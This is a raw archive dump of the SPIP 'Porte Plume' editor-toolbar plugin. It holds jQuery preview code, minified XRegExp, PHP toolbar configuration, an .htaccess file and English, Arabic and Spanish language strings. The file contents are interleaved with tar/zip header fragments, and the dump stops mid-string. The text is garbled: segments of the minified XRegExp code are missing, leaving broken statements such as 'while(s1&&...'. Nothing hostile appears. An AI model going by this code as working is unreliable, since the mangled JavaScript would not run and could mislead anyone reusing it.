        ').insertAfter(tabs); preview.hide(); $('.previsuVoir').click(function(){ mark = $(this).parent().parent(); objet = mark.parents('.formulaire_spip')[0].className.match(/formulaire_editer_(\w+)/); champ = mark.parents('li')[0].className.match(/editer_(\w+)/); $(mark).find('.markItUpPreview').height( $(mark).find('.markItUpHeader').height() + $(mark).find('.markItUpEditor').height() + $(mark).find('.markItUpFooter').height() ); $(mark).find('.markItUpHeader').hide(); $(mark).find('.markItUpEditor').hide(); $(mark).find('.markItUpFooter').hide(); $(this).addClass('on').next().removeClass('on'); $(mark).find('.markItUpPreview').show() .addClass('ajaxLoad') .html(renderPreview( $(mark).find('textarea.pp_previsualisation').val(), champ[1].toUpperCase(), objet[1]) ) .removeClass('ajaxLoad'); return false; }); $('.previsuEditer').click(function(){ mark = $(this).parent().parent(); $(mark).find('.markItUpPreview').hide(); $(mark).find('.markItUpHeader').show(); $(mark).find('.markItUpEditor').show(); $(mark).find('.markItUpFooter').show(); $(this).addClass('on').prev().removeClass('on'); return false; }); } function renderPreview(val, champ, objet) { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', async: false, url: options.previewParserPath, data: 'champ='+champ +'&objet='+objet +'&' + options.previewParserVar+'='+encodeURIComponent(val), success: function(data) { phtml = data; } } ); } return phtml; } init(); }); }; })(jQuery); xregexp-min.js000066600000015655151451431370007371 0ustar00//XRegExp 1.2.0 MIT License var XRegExp;if(!XRegExp){(function(){XRegExp=function(r,l){if(XRegExp.isRegExp(r)){if(l!==undefined){throw TypeError("can't supply flags when constructing one RegExp from another")}return r.addFlags("")}if(h){throw Error("can't call the XRegExp constructor within token definition functions")}var l=l||"",k=[],s=0,p=XRegExp.OUTSIDE_CLASS,m={hasNamedCapture:false,captureNames:[],hasFlag:function(u){if(u.length>1){throw SyntaxError("flag can't be more than one character")}return l.indexOf(u)>-1}},n,q,o,t;while(s1&&XRegExp._indexOf(m,"")>-1){k=RegExp("^"+this.source+"$(?!\\s)",XRegExp._getNativeFlags(this));i.replace.call(m[0],k,function(){for(var p=1;p(m.index+m[0].length)){this.lastIndex--}}return m};if(!c){RegExp.prototype.test=function(l){var k=i.exec.call(this,l);if(k&&this.global&&this.lastIndex>(k.index+k[0].length)){this.lastIndex--}return !!k}}String.prototype.match=function(l){if(!XRegExp.isRegExp(l)){l=RegExp(l)}if(l.global){var k=i.match.apply(this,arguments);l.lastIndex=0;return k}return l.exec(this)};String.prototype.replace=function(m,n){var o=XRegExp.isRegExp(m),l,k,p;if(o&&typeof n.valueOf()==="string"&&n.indexOf("${")===-1&&d){return i.replace.apply(this,arguments)}if(!o){m=m+""}else{if(m._xregexp){l=m._xregexp.captureNames}}if(typeof n==="function"){k=i.replace.call(this,m,function(){if(l){arguments[0]=new String(arguments[0]);for(var q=0;qq.length-3){t=String.prototype.slice.call(r,-1)+t;r=Math.floor(r/10)}return(r?q[r]||"":"$")+t}}else{var u=+v;if(u<=q.length-3){return q[u]}u=l?XRegExp._indexOf(l,v):-1;return u>-1?q[u+1]:s}})})}if(o&&m.global){m.lastIndex=0}return k};String.prototype.split=function(o,k){if(!XRegExp.isRegExp(o)){return i.split.apply(this,arguments)}var q=this+"",m=[],p=0,n,l;if(k===undefined||+k<0){k=Infinity}else{k=Math.floor(+k);if(!k){return[]}}o=o.addFlags("g");while(n=o.exec(q)){if(o.lastIndex>p){m.push(q.slice(p,n.index));if(n.length>1&&n.index=k){break}}if(!n[0].length){o.lastIndex++}}if(p===q.length){if(!i.test.call(o,"")||l){m.push("")}}else{m.push(q.slice(p))}return m.length>k?m.slice(0,k):m}})();RegExp.prototype.addFlags=function(b){var c=XRegExp(this.source,(b||"")+XRegExp._getNativeFlags(this)),a=this._xregexp;if(a){c._xregexp={source:a.source,captureNames:a.captureNames?a.captureNames.slice(0):null}}return c};RegExp.prototype.apply=function(b,a){return this.exec(a[0])};RegExp.prototype.call=function(a,b){return this.exec(b)};RegExp.prototype.forEachExec=function(e,f,c){var d=this.addFlags("g"),b=-1,a;while(a=d.exec(e)){f.call(c,a,++b,e,d);if(!a[0].length){d.lastIndex++}}if(this.global){this.lastIndex=0}};RegExp.prototype.validate=function(b){var a=RegExp("^(?:"+this.source+")$(?!\\s)",XRegExp._getNativeFlags(this));if(this.global){this.lastIndex=0}return b.search(a)===0};XRegExp.cache=function(c,a){var b="/"+c+"/"+(a||"");return XRegExp.cache[b]||(XRegExp.cache[b]=XRegExp(c,a))};XRegExp.escape=function(a){return a.replace(/[-[\]{}()*+?.\\^$|,#\s]/g,"\\$&")};XRegExp.freezeTokens=function(){XRegExp.addToken=null};XRegExp.isRegExp=function(a){return Object.prototype.toString.call(a)==="[object RegExp]"};XRegExp.matchWithinChain=function(e,a,b){var c;function d(g,l){var j=a[l].addFlags("g"),f=[],k,h;for(h=0;h/,function(b){this.captureNames.push(b[1]);this.hasNamedCapture=true;return"("});XRegExp.addToken(/\\k<([\w$]+)>/,function(c){var b=XRegExp._indexOf(this.captureNames,c[1]);return b>-1?"\\"+(b+1)+(isNaN(c.input.charAt(c.index+c[0].length))?"":"(?:)"):c[0]});XRegExp.addToken(/\[\^?]/,function(b){return b[0]==="[]"?"\\b\\B":"[\\s\\S]"});XRegExp.addToken(/(?:\s+|#.*)+/,function(b){return a.test(b.input.slice(b.index+b[0].length))?"":"(?:)"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("x")});XRegExp.addToken(/\./,function(){return"[\\s\\S]"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("s")})})();XRegExp.version="1.2.0"};porte_plume_forcer_hauteur.js000066600000001244151451431370012543 0ustar00function barre_forcer_hauteur () { jQuery(".markItUpEditor").each(function() { var hauteur_min = jQuery(this).height(); var hauteur_max = parseInt(jQuery(window).height()) - 200; var hauteur = hauteur_min; var signes = jQuery(this).val().length; if (signes){ /* en gros: 400 signes donnent 100 pixels de haut */ var hauteur_signes = Math.round(signes / 4) + 50; if (hauteur_signes > hauteur_min && hauteur_signes < hauteur_max) hauteur = hauteur_signes; else if (hauteur_signes > hauteur_max) hauteur = hauteur_max; jQuery(this).height(hauteur); } }); } jQuery(window).bind("load", function() { barre_forcer_hauteur(); }); barre_outils.zip000066600004704216151454730040010007 0ustar00PKQ\MMQK<K< edition.phpnuW+A 'edition', #'previewAutoRefresh'=> true, #'previewParserPath' => url_absolue(generer_url_public('preview')), 'onShiftEnter' => array('keepDefault'=>false, 'replaceWith'=>"\n_ "), 'onCtrlEnter' => array('keepDefault'=>false, 'replaceWith'=>"\n\n"), // garder les listes si on appuie sur entree 'onEnter' => array('keepDefault'=>false, 'selectionType'=>'return', 'replaceWith'=>"\n"), // Utile quand on saisi du code, mais pas accessible ! #'onTab' => array('keepDefault'=>false, 'replaceWith'=>"\t"), 'markupSet' => array( // H1 - {{{ array( "id" => 'header1', "name" => _T('barre_outils:barre_intertitre'), "key" => "H", "className" => "outil_header1", "openWith" => "\n{{{", "closeWith" => "}}}\n", "display" => true, "selectionType" => "line", ), // Bold - {{ array( "id" => 'bold', "name" => _T('barre_outils:barre_gras'), "key" => "B", "className" => "outil_bold", "replaceWith" => "function(h){ return espace_si_accolade(h, '{{', '}}');}", //"openWith" => "{{", //"closeWith" => "}}", "display" => true, "selectionType" => "word", ), // Italic - { array( "id" => 'italic', "name" => _T('barre_outils:barre_italic'), "key" => "I", "className" => "outil_italic", "replaceWith" => "function(h){ return espace_si_accolade(h, '{', '}');}", //"openWith" => "{", //"closeWith" => "}", "display" => true, "selectionType" => "word", ), // montrer une suppression array( "id" => 'stroke_through', "name" => _T('barre_outils:barre_barre'), // :-) "className" => "outil_stroke_through", "openWith" => "", "closeWith" => "", "display" => true, "selectionType" => "word", ), // listes -* array( "id" => 'liste_ul', "name" => _T('barre_outils:barre_liste_ul'), "className" => "outil_liste_ul", "replaceWith" => "function(h){ return outil_liste(h, '*');}", "display" => true, "selectionType" => "line", "forceMultiline" => true, "dropMenu" => array( // liste -# array( "id" => 'liste_ol', "name" => _T('barre_outils:barre_liste_ol'), "className" => "outil_liste_ol", "replaceWith" => "function(h){ return outil_liste(h, '#');}", "display" => true, "selectionType" => "line", "forceMultiline" => true, ), // desindenter array( "id" => 'desindenter', "name" => _T('barre_outils:barre_desindenter'), "className" => "outil_desindenter", "replaceWith" => "function(h){return outil_desindenter(h);}", "display" => true, "selectionType" => "line", "forceMultiline" => true, ), // indenter array( "id" => 'indenter', "name" => _T('barre_outils:barre_indenter'), "className" => "outil_indenter", "replaceWith" => "function(h){return outil_indenter(h);}", "display" => true, "selectionType" => "line", "forceMultiline" => true, ), ), ), // separation array( "id" => "sepLink", // trouver un nom correct ! "separator" => "---------------", "display" => true, ), // lien spip array( "id" => 'link', "name" => _T('barre_outils:barre_lien'), "key" => "L", "className" => "outil_link", "openWith" => "[", "closeWith" => "->[!["._T('barre_outils:barre_lien_input')."]!]]", "display" => true, ), // note en bas de page spip array( "id" => 'notes', "name" => _T('barre_outils:barre_note'), "className" => "outil_notes", "openWith" => "[[", "closeWith" => "]]", "display" => true, "selectionType" => "word", ), // separation array( "id" => "sepGuillemets", "separator" => "---------------", "display" => true, ), // quote spip // (affichee dans forum) array( "id" => 'quote', "name" => _T('barre_outils:barre_quote'), "key" => "Q", "className" => "outil_quote", "openWith" => "\n", "closeWith" => "\n", "display" => true, "selectionType" => "word", ), // guillemets array( "id" => 'guillemets', "name" => _T('barre_outils:barre_guillemets'), "className" => "outil_guillemets", "openWith" => "«", "closeWith" => "»", "display" => true, "lang" => array('fr','eo','cpf','ar','es'), "selectionType" => "word", ), // guillemets internes array( "id" => 'guillemets_simples', "name" => _T('barre_outils:barre_guillemets_simples'), "className" => "outil_guillemets_simples", "openWith" => "“", "closeWith" => "”", "display" => true, "lang" => array('fr','eo','cpf','ar','es'), "selectionType" => "word", ), // guillemets de array( "id" => 'guillemets_de', "name" => _T('barre_outils:barre_guillemets'), "className" => "outil_guillemets_de", "openWith" => "„", "closeWith" => "“", "display" => true, "lang" => array('bg','de','pl','hr','src'), "selectionType" => "word", ), // guillemets de, simples array( "id" => 'guillemets_de_simples', "name" => _T('barre_outils:barre_guillemets_simples'), "className" => "outil_guillemets_de_simples", "openWith" => "‚", "closeWith" => "‘", "display" => true, "lang" => array('bg','de','pl','hr','src'), "selectionType" => "word", ), // guillemets autres langues array( "id" => 'guillemets_autres', "name" => _T('barre_outils:barre_guillemets'), "className" => "outil_guillemets_simples", "openWith" => "“", "closeWith" => "”", "display" => true, "lang_not" => array('fr','eo','cpf','ar','es','bg','de','pl','hr','src'), "selectionType" => "word", ), // guillemets simples, autres langues array( "id" => 'guillemets_autres_simples', "name" => _T('barre_outils:barre_guillemets_simples'), "className" => "outil_guillemets_uniques", "openWith" => "‘", "closeWith" => "’", "display" => true, "lang_not" => array('fr','eo','cpf','ar','es','bg','de','pl','hr','src'), "selectionType" => "word", ), // separation array( "id" => "sepCaracteres", "separator" => "---------------", "display" => true, ), // icones clavier array( "id" => 'grpCaracteres', "name" => _T('barre_outils:barre_inserer_caracteres'), "className" => 'outil_caracteres', "display" => true, "dropMenu" => array( // A majuscule accent grave array( "id" => 'A_grave', "name" => _T('barre_outils:barre_a_accent_grave'), "className" => "outil_a_maj_grave", "replaceWith" => "À", "display" => true, "lang" => array('fr','eo','cpf'), ), // E majuscule accent aigu array( "id" => 'E_aigu', "name" => _T('barre_outils:barre_e_accent_aigu'), "className" => "outil_e_maj_aigu", "replaceWith" => "É", "display" => true, "lang" => array('fr','eo','cpf'), ), // E majuscule accent grave array( "id" => 'E_grave', "name" => _T('barre_outils:barre_e_accent_grave'), "className" => "outil_e_maj_grave", "replaceWith" => "È", "display" => true, "lang" => array('fr','eo','cpf'), ), // e dans le a array( "id" => 'aelig', "name" => _T('barre_outils:barre_ea'), "className" => "outil_aelig", "replaceWith" => "æ", "display" => true, "lang" => array('fr','eo','cpf'), ), // e dans le a majuscule array( "id" => 'AElig', "name" => _T('barre_outils:barre_ea_maj'), "className" => "outil_aelig_maj", "replaceWith" => "Æ", "display" => true, "lang" => array('fr','eo','cpf'), ), // oe array( "id" => 'oe', "name" => _T('barre_outils:barre_eo'), "className" => "outil_oe", "replaceWith" => "œ", "display" => true, "lang" => array('fr'), ), // OE array( "id" => 'OE', "name" => _T('barre_outils:barre_eo_maj'), "className" => "outil_oe_maj", "replaceWith" => "Œ", "display" => true, "lang" => array('fr'), ), // c cedille majuscule array( "id" => 'Ccedil', "name" => _T('barre_outils:barre_c_cedille_maj'), "className" => "outil_ccedil_maj", "replaceWith" => "Ç", "display" => true, "lang" => array('fr','eo','cpf'), ), // Transformation en majuscule array( "id" => 'uppercase', "name" => _T('barre_outils:barre_gestion_cr_changercassemajuscules'), "className" => "outil_uppercase", "replaceWith" => 'function(markitup) { return markitup.selection.toUpperCase() }', "display" => true, "lang" => array('fr','en'), ), // Transformation en minuscule array( "id" => 'lowercase', "name" => _T('barre_outils:barre_gestion_cr_changercasseminuscules'), "className" => "outil_lowercase", "replaceWith" => 'function(markitup) { return markitup.selection.toLowerCase() }', "display" => true, "lang" => array('fr','en'), ), ), ), /* inutile (origine de markitup et non de spip) // separation array( "id" => "sepPreview", // trouver un nom correct ! "separator" => "---------------", "display" => true, ), // clean array( "id" => 'clean', "name" => _T('barre_outils:barre_clean'), "className" => "outil_clean", "replaceWith" => 'function(markitup) { return markitup.selection.replace(/<(.*?)>/g, "") }', "display" => true, ), // preview array( "id" => 'preview', "name" => _T('barre_outils:barre_preview'), "className" => "outil_preview", "call" => "preview", "display" => true, ), */ ), 'functions' => " // remplace ou cree -* ou -** ou -# ou -## function outil_liste(h, c) { if ((s = h.selection) && (r = s.match(/^-([*#]+) (.*)\$/))) { r[1] = r[1].replace(/[#*]/g, c); s = '-'+r[1]+' '+r[2]; } else { s = '-' + c + ' '+s; } return s; } // indente des -* ou -# function outil_indenter(h) { if (s = h.selection) { if (s.substr(0,2)=='-*') { s = '-**' + s.substr(2); } else if (s.substr(0,2)=='-#') { s = '-##' + s.substr(2); } else { s = '-* ' + s; } } return s; } // desindente des -* ou -** ou -# ou -## function outil_desindenter(h){ if (s = h.selection) { if (s.substr(0,3)=='-**') { s = '-*' + s.substr(3); } else if (s.substr(0,3)=='-* ') { s = s.substr(3); } else if (s.substr(0,3)=='-##') { s = '-#' + s.substr(3); } else if (s.substr(0,3)=='-# ') { s = s.substr(3); } } return s; } // ajouter un espace avant, apres un {qqc} pour ne pas que // gras {{}} suivi de italique {} donnent {{{}}}, mais { {{}} } function espace_si_accolade(h, openWith, closeWith){ if (s = h.selection) { // accolade dans la selection if (s.charAt(0)=='{') { return openWith + ' ' + s + ' ' + closeWith; } // accolade avant la selection else if (c = h.textarea.selectionStart) { if (h.textarea.value.charAt(c-1) == '{') { return ' ' + openWith + s + closeWith + ' '; } } } return openWith + s + closeWith; } ", )); $set->cacher(array( 'stroke_through', 'clean', 'preview', )); return $set; } /** * Definitions des liens entre css et icones */ function barre_outils_edition_icones(){ return array( //'outil_header1' => 'text_heading_1.png', 'outil_header1' => array('spt-v1.png','-10px -226px'), //'intertitre.png' 'outil_bold' => array('spt-v1.png','-10px -478px'), //'text_bold.png' 'outil_italic' => array('spt-v1.png','-10px -586px'), //'text_italic.png' 'outil_stroke_through' => array('spt-v1.png','-10px -946px'), //'text_strikethrough.png' 'outil_liste_ul' => array('spt-v1.png','-10px -622px'), //'text_list_bullets.png' 'outil_liste_ol' => array('spt-v1.png','-10px -658px'), //'text_list_numbers.png' 'outil_indenter' => array('spt-v1.png','-10px -514px'), //'text_indent.png' 'outil_desindenter' => array('spt-v1.png','-10px -550px'), //'text_indent_remove.png' //'outil_quote' => 'text_indent.png', 'outil_quote' => array('spt-v1.png','-10px -442px'), //'quote.png' //'outil_link' => 'world_link.png', 'outil_link' => array('spt-v1.png','-10px -298px'), //'lien.png' 'outil_notes' => array('spt-v1.png','-10px -334px'), //'notes.png' 'outil_guillemets' => array('spt-v1.png','-10px -910px'), //'guillemets.png' 'outil_guillemets_simples' => array('spt-v1.png','-10px -802px'), //'guillemets-simples.png' 'outil_guillemets_de' => array('spt-v1.png','-10px -766px'), //'guillemets-de.png' 'outil_guillemets_de_simples' => array('spt-v1.png','-10px -838px'), //'guillemets-uniques-de.png' 'outil_guillemets_uniques' => array('spt-v1.png','-10px -874px'), //'guillemets-uniques.png' 'outil_caracteres' => array('spt-v1.png','-10px -262px'), //'keyboard.png' 'outil_a_maj_grave' => array('spt-v1.png','-10px -82px'), //'agrave-maj.png' 'outil_e_maj_aigu' => array('spt-v1.png','-10px -154px'), //'eacute-maj.png' 'outil_e_maj_grave' => array('spt-v1.png','-10px -190px'), //'eagrave-maj.png' 'outil_aelig' => array('spt-v1.png','-10px -46px'), //'aelig.png' 'outil_aelig_maj' => array('spt-v1.png','-10px -10px'), //'aelig-maj.png' 'outil_oe' => array('spt-v1.png','-10px -406px'), //'oelig.png' 'outil_oe_maj' => array('spt-v1.png','-10px -370px'), //'oelig-maj.png' 'outil_ccedil_maj' => array('spt-v1.png','-10px -118px'), //'ccedil-maj.png' 'outil_uppercase' => array('spt-v1.png','-10px -730px'), //'text_uppercase.png' 'outil_lowercase' => array('spt-v1.png','-10px -694px'), //'text_lowercase.png' 'outil_clean' => array('spt-v1.png','-10px -982px'), //'clean.png' 'outil_preview' => array('spt-v1.png','-10px -1018px'), //'eye.png' ); } ?> PKQ\O86 forum.phpnuW+AnameSpace = 'forum'; $barre->cacherTout(); $barre->afficher(array( 'bold','italic', 'sepLink','link', 'sepGuillemets', 'quote', 'sepCaracteres','guillemets', 'guillemets_simples', 'guillemets_de', 'guillemets_de_simples', 'guillemets_autres', 'guillemets_autres_simples', 'A_grave', 'E_aigu', 'E_grave', 'aelig', 'AElig', 'oe', 'OE', 'Ccedil', )); return $barre; } ?> PKQ\;configuration/.htaccess.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/barre_outils/configuration/.htaccess000066600000000325151451416170024047 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all PKQ\{4==.configuration/barre_outils_icones.css.html.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/barre_outils_icones.css.html000066600000000401151451432100022401 0ustar00#CACHE{7*24*3600} #HTTP_HEADER{Content-Type: text/css; charset=utf-8} #HTTP_HEADER{Vary: Accept-Encoding} [(#VAL|barre_outils_css_icones)] /* roue ajax */ .ajaxLoad{background:white url('[(#CHEMIN{images/searching.gif}|url_absolue)]') top left no-repeat;} PKQ\2CCconfiguration/lang.zipnuW+APK`Q\?barre_outils_en.phpnuW+A 'Clean the code of all HTML tags', 'barre_lorem_ipsum' => 'Insert a fake paragraph', 'barre_lorem_ipsum_3' => 'Insert three fake paragraphs', 'barre_liste_ul' => 'Set list', 'barre_liste_ol' => 'Set numbered list', 'barre_indenter' => 'Indent a line', 'barre_desindenter' => 'Unindent a line', 'barre_inserer_caracteres' => 'Insert special characters', 'barre_barre' => 'Strike through the text', 'editer'=>'Edit', 'voir'=>'Preview', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insert a capital A with grave accent: À', 'barre_aide' => 'Use the typographic short cuts to refine your layout', 'barre_c_cedille_maj' => 'Insert a capital Ç with cedilla: Ç', 'barre_e_accent_aigu' => 'Insert a capital E with acute accent: É', 'barre_e_accent_grave' => 'Insert a capital E with grave accent: È', 'barre_ea' => 'Insert an oe-ligature: æ', 'barre_ea_maj' => 'Insert a capital an oe-ligature: Æ', 'barre_eo' => 'Insert an oe-ligature: œ', 'barre_eo_maj' => 'Insert a capital OE-ligature: Œ', 'barre_euro' => 'Insert the € symbol', 'barre_gestion_cr_changercassemajuscules' => 'Convert to UPPERCASE', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lowercase', 'barre_gras' => '{{Bold}}', 'barre_guillemets' => 'Place between «double quotes«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Turn into a {{{subheading}}}', 'barre_italic' => '{Italic}', 'barre_lien' => 'Turn into a [hyperlink->http://...]', 'barre_lien_input' => 'Please enter the target of your hyperlink (you may give an internet URL in the form http://www.mysite.com or else simply the number of an article on this site).', 'barre_note' => 'Turn into a [[Footnote]]', 'barre_paragraphe' => 'Create a paragraph', 'barre_quote' => 'Quote a message', // B (depuis BTv2) 'barre_langue' => 'Abbreviated lnguage', 'barre_miseenevidence' => '[*Highlight*] the text', 'barre_exposant' => 'Put the text in <sup>superscript</sup>', 'barre_petitescapitales' => 'Put the text in <sc>small capitales</sc>', 'barre_centrer' => '[|Center|] the paragraph', 'barre_alignerdroite' => '[/Right align/] the paragraph', 'barre_encadrer' => '[(Frame)] the paragraph', 'barre_e_accent_grave' => 'Insert capital E grave', 'barre_ea' => 'Insert æ', 'barre_ea_maj' => 'Insert Æ', 'barre_c_cedille_maj' => 'Insert capital C cedilla', 'barre_chercher' => 'Search & Replace', 'barre_tableau' => 'Insert/modify a table (select it first)', 'barre_glossaire' => '[?Glossary] reference (Wikipedia)', 'barre_caracteres' => 'Special characters', 'barre_adresse' => 'Address', 'barre_lien_externe' => 'External link', 'barre_bulle' => 'Help bubble', 'barre_formatages_speciaux' => 'Special formating', 'barre_galerie' => 'Open gallery', 'barre_gestion_caption' => 'Caption and Summary', 'barre_gestion_colonne' => 'No. of columns', 'barre_gestion_ligne' => 'No. of lines', 'barre_gestion_entete' => 'Header', 'barre_gestion_taille' => 'Fixed size', 'barre_gestion_cr_changercasse' => 'Change case', 'barre_gestion_cr_changercassemajuscules' => 'Convert to upper case', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lower case', 'barre_gestion_cr_chercher' => 'Search', 'barre_gestion_cr_remplacer' => 'Replace', 'barre_gestion_cr_casse' => 'Match case', 'barre_gestion_cr_tout' => 'Replace all', 'barre_gestion_cr_entier' => 'Only complete words', 'barre_preview' => 'Preview mode', 'barre_stats' => 'Show text statistics', 'barre_code' => 'Edit a <code>computer code</code>', 'barre_cadre' => 'Put in a <cadre>textarea</cadre>', 'barre_poesie' => 'Edit as a <poesie>poetry</poesie>', 'barre_ancres' => 'Anchors', 'barre_gestion_anc_caption' => 'Anchors', 'barre_gestion_anc_inserer' => 'Convert to anchor', 'barre_gestion_anc_nom' => 'Anchor name', 'barre_gestion_anc_pointer' => 'Point to an anchor', 'barre_gestion_anc_cible' => 'Anchor target', 'barre_gestion_anc_bulle' => 'Anchor help bubble', // C 'config_info_enregistree' => "Configuration saved", // E 'explication_barre_outils_public' => "CSS and Javascript Scripts for toolbars (Quill extension, Porte Plume) are loaded in the public site and provide toolbars in forums, public crayons or other plugins if their respective configurations allow it.", 'explication_barre_outils_public_2' => "You can choose not to load these scripts in to lighten public pages. Therefore, whatever configuration the forums, crayons or plugins have, no Quill toolbar will show automatically in the public site.", // I 'info_porte_plume_titre' => "Toolbars configuration", 'info_barre_outils_public' => "Public toolbars", // L 'label_barre_outils_public_oui' => "Load the toolbars\' scripts in the public site.", 'label_barre_outils_public_non' => "Do not load the toolbars\' scripts in the public site" ); ?> PK`Q\r}r77barre_outils_ar.phpnuW+A 'تنظيف الرموز البرمجية من كل علامات HTML', 'barre_lorem_ipsum' => 'إدراج فقرة زائفة', 'barre_lorem_ipsum_3' => 'إدراج ثلاث فقرات زائفة', 'barre_liste_ul' => 'تحويل الى لائحة', 'barre_liste_ol' => 'تحويل الى لائحة مرقمة', 'barre_indenter' => 'إزاحة لائحة', 'barre_desindenter' => 'إلغاء إزاحة لائحة', 'barre_inserer_caracteres' => 'إدراج حروف محددة', 'barre_barre' => 'شطب النص', 'editer'=>'تحرير', 'voir'=>'معاينة', // B (depuis SPIP) 'barre_a_accent_grave' => 'إدراج A مع نبر الاطالة: À', 'barre_aide' => 'استخدم شريط اختصارات الكتابة لإغناء تصميم صفحتك', 'barre_c_cedille_maj' => 'إدراج Ç كبير', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر حاد - É', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر خفيض - È', 'barre_ea' => 'ادراج E داخل A: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_eo' => 'ادراج e داخل o: œ', 'barre_eo_maj' => 'ادراج E كبير داخل O كبير: Œ', 'barre_euro' => 'ادراج رمز €', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى حروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى حروف صغيرة', 'barre_gras' => '{{اسود}}', 'barre_guillemets' => 'احاطة «بعلامتي اقتباس مزدوجة»', 'barre_guillemets_simples' => 'وضع بين "علامتي إقتباس مزدوجة من المستوى الثاني"', 'barre_intertitre' => 'تحويل الى {{{عنوان فقرة}}}', 'barre_italic' => '{مائل}', 'barre_lien' => 'تحويل الى [وصلة هايبرتكست->http://...]', 'barre_lien_input' => 'الرجاء ادخال عنوان الوصلة (يمكنك ادخال عنوان نسيج على شكل http://www.mysite.com او ادخال رقم مقال من الموقع الحالي فقط).', 'barre_note' => 'تحويل الى [[حاشية]]', 'barre_paragraphe' => 'انشاء فقرة', 'barre_quote' => 'اقتباس رسالة', // B (depuis BTv2) 'barre_langue' => 'لغة مختصرة', 'barre_miseenevidence' => '[*إبراز*] النص', 'barre_exposant' => 'تحويل الى <sup>نص فوقي</sup>', 'barre_petitescapitales' => 'تحويل الى <sc>حروف كبيرة مصغرة</sc>', 'barre_centrer' => '[|توسيط|] الفقرة', 'barre_alignerdroite' => 'محاذاة الى [/اليمين/]', 'barre_encadrer' => 'وضع في [(إطار)]', 'barre_e_accent_grave' => 'إدراج E كبير مع نبر الاطالة: È', 'barre_ea' => 'ادراج e داخل a: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_c_cedille_maj' => 'ادراج C كبير مع علامة لفظية: Ç', 'barre_chercher' => 'بحث واستبدال', 'barre_tableau' => 'إدراج جدول أو تعديل جدول (تحديده أولاً)', 'barre_glossaire' => 'مدخل في [?المعجم] (ويكيبيديا)', 'barre_caracteres' => 'حروف خاصة', 'barre_adresse' => 'عنوان', 'barre_lien_externe' => 'رابط خارجي', 'barre_bulle' => 'بالون تعليمات', 'barre_formatages_speciaux' => 'تنسيقات خاصة', 'barre_galerie' => 'فتح صالة العرض', 'barre_gestion_caption' => 'وصف وملخص', 'barre_gestion_colonne' => 'عدد الأعمدة', 'barre_gestion_ligne' => 'عدد السطور', 'barre_gestion_entete' => 'ترويسة', 'barre_gestion_taille' => 'حجم ثابت', 'barre_gestion_cr_changercasse' => 'تغيير حجم الحروف', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى الحروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى الحروف صغيرة', 'barre_gestion_cr_chercher' => 'بحث', 'barre_gestion_cr_remplacer' => 'استبدال', 'barre_gestion_cr_casse' => 'تطابق حجم الحروف', 'barre_gestion_cr_tout' => 'استبدال الكل', 'barre_gestion_cr_entier' => 'كلمة كاملة', 'barre_preview' => 'معاينة', 'barre_stats' => 'عرض احصاءات النص', 'barre_code' => 'تنسيق <code>مقطع رموز برمجية</code>', 'barre_cadre' => 'وضع في <cadre>مجال إدخال نصوص</cadre>', 'barre_poesie' => 'تنسيق <poesie>شعر</poesie>', 'barre_ancres' => 'إدارة المراسي', 'barre_gestion_anc_caption' => 'إدارة المراسي', 'barre_gestion_anc_inserer' => 'تحويل الى مرساة', 'barre_gestion_anc_nom' => 'اسم المرساة', 'barre_gestion_anc_pointer' => 'التصويب الى مرساة', 'barre_gestion_anc_cible' => 'المرساة الهدف', 'barre_gestion_anc_bulle' => 'بالون تعليمات المرساة', // C 'config_info_enregistree' => "تم حفظ الإعداد", // E 'explication_barre_outils_public' => "يتم تحميل أوامر أوراق الأنماط وجافاسكريبت (إضافة الريشة، Porte Plume) في الموقع العمومي لتوقر استخدام شريط الأدوات في استمارات المنتديات والأقلام العمومية وملحقات أخرى أذا سمحت إعداداتها بذلك.", 'explication_barre_outils_public_2' => "يمكنك اختيار عدم تحميل هذه الأوامر لتخفيف وزن الصفحات العمومية. عندها، مهما تكن إعدادات المنتديات او الأقلام او الملحقات، لن يظهر اي شريط أدوات من الريشة في الموقع العمومي.", // I 'info_porte_plume_titre' => "إعداد شريط الأدوات", 'info_barre_outils_public' => "شريط الأدوات العمومي", // L 'label_barre_outils_public_oui' => "تحميل أوامر شريط الأدوات في الموقع العمومي", 'label_barre_outils_public_non' => "عدم تحميل أوامر شريط الأدوات في الموقع العمومي" ); ?> PK`Q\њbarre_outils_es.phpnuW+A 'Limpiar el código de todas las etiquetas HTML', 'barre_lorem_ipsum' => 'Insertar un párrafo ficticio', 'barre_lorem_ipsum_3' => 'Insertar tres párrafos ficticios', 'barre_liste_ul' => 'Convertir en lista', 'barre_liste_ol' => 'Convertir en lista ordenada', 'barre_indenter' => 'Convertir en sublista', 'barre_desindenter' => 'Deshacer sublista', 'barre_inserer_caracteres' => 'Insertar caracteres especiales', 'editer'=>'Editar', 'voir'=>'Ver', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insertar À', 'barre_aide' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"', 'barre_e_accent_aigu' => 'Insertar É', 'barre_eo' => 'Insertar ligadura œ', 'barre_eo_maj' => 'Insertar ligadura &OElig', 'barre_euro' => 'Insertar símbolo € ', 'barre_gestion_cr_changercassemajuscules' => 'MAYÚSCULAS', 'barre_gestion_cr_changercasseminuscules' => 'minúsculas', 'barre_gras' => '{{Negrita}}', 'barre_guillemets' => 'Encerrar entre «comillas dobles«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Convertir en {{{intertítulo}}}', 'barre_italic' => '{cursiva}', 'barre_lien' => 'Convertir en [hipevínculo->http://...]', 'barre_lien_input' => 'Por favor ingresa el destino de tu 